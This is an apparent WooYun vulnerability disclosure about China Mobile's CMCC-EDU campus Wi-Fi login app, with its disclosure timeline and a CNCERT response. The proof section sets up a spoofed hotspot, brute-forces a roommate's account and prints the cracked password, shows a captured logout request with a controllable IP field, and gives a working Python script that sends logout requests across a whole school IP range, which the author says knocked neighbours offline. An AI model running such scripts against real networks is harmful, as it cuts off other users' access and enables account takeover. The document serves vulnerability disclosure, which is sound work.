当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061426

漏洞标题:移动CMCC-EDU随E行指定账号爆破、指定Ip上线下线

相关厂商:中国移动

漏洞作者: Terry

提交时间:2014-05-19 16:18

修复时间:2014-07-03 16:19

公开时间:2014-07-03 16:19

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-19: 细节已通知厂商并且等待厂商处理中
2014-05-24: 厂商已经确认,细节仅向厂商公开
2014-06-03: 细节向核心白帽子及相关领域专家公开
2014-06-13: 细节向普通白帽子公开
2014-06-23: 细节向实习白帽子公开
2014-07-03: 细节向公众公开

简要描述:

RT

详细说明:

移动随E行应用在用户登陆时,没做任何限制,导致账号被爆破的可能。另外在上线和下线时,后台是通过表单里的wlanuserip字段来为判断依据,该字段可控明显有问题。

漏洞证明:

测试目标:移动最新IOS版随E行
无线网测试环境:CMCC-EDU
老规矩首先用电脑连上CMCC-EDU网络

1.png


接着CMD下:

netsh wlan set hostednetwork mode=allow ssid=CMCC-EDU key=00000000&&netsh wlan start hostednetwork

解释下,这是用来共享wifi信号,相信许多同学都用过,注意这里这里的SSID要和公共热点名称一样,因为用随E行登陆时,它会判断你的SSID是否为移动的热点名称。做这些准备是为了抓取手机的HTTP包(对于开放网络抓包可以不用这样麻烦,只是为了更好的演示),然后电脑打开Burpsuite代理(监听所有接口),接着用手机连上自己CMCC-EDU信号(注意是加锁的),设置好代理地址和端口

2.png


3.png


这些准备工作做完就可以打开随E行登陆抓包了,演示方便拿我宿友的账号来做测试,我不知道他的密码,其实他自己也不知道,因为他平时只用动态密码。
抓包图如下:

4.png


5.png


抓到包后就可以爆破了,然后就是耐心的等待,返回内容里包含LOGOUT意味着成功爆破

6.png


运气还不错一会就爆破到了,密码:207891。此时已是登陆状态,已经可以上网了,想验证爆破出来的密码是否正确,需要先退出在登陆。接着抓取退出的POST包,具体内容如下:

POST /suiexingclient.jsp HTTP/1.1
Host: 211.138.195.124
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=rv4GT5dphVVcTC1y0kQR9K2F2p1Nn2VmlBJJpB5G91lxlMynYh7M!-189125796; sto-id-20480=BCFBIFKMJABP
Accept-Language: zh-cn
Accept: */*
Content-Length: 108
Connection: keep-alive
User-Agent: G3WLAN
wlanacssid=CMCC&wlanacname=0116.0510.250.00&wlanuserip=10.31.111.58&actiontype=LOGOUT&logonsessid=1480830767

通过发送的内容可以看出,可能通过字段里的IP来实现下线的,为了验证这一想法,可以修改IP内容,我们学校的IP范围在10.31.110.1-10.31.117.255,写个脚本验证下。

import socket
import httplib2
import urllib
def get_my_ip():
try:
csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
csock.connect(('8.8.8.8', 80))
(addr, port) = csock.getsockname()
csock.close()
return addr
except socket.error:
return "127.0.0.1"
def offline(ip):
urlstr = 'http://211.138.195.124/suiexingclient.jsp'
data = dict(wlanacname="0116.0510.250.00",wlanuserip=ip,actiontype="LOGOUT",logonsessid="480050378")
h = httplib2.Http('.cache')

response,content = h.request(
urlstr,
'POST',
urllib.parse.urlencode(data),
headers={'Content-Type': 'application/x-www-form-urlencoded'}
)
#sleep(100)
print(ip+"下线成功!")
if __name__ == "__main__":
ip=get_my_ip()
offline(ip)
for i in range(110,120):
for j in range(0,255):
offline("10.31."+str(i)+"."+str(j))


7.png

上隔壁宿舍问了几个上CMCC-EDU网的同学,果然都断线了。(据我所知,移动的无线网络都是在10.x.x.x网段,你懂得。)

修复方案:

做好限制

版权声明:转载请注明来源 Terry@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-05-24 12:54

厂商回复:

CNVD未直接复现所有过程,已经转由CNCERT直接通报给中国移动集团公司处置。

最新状态:

暂无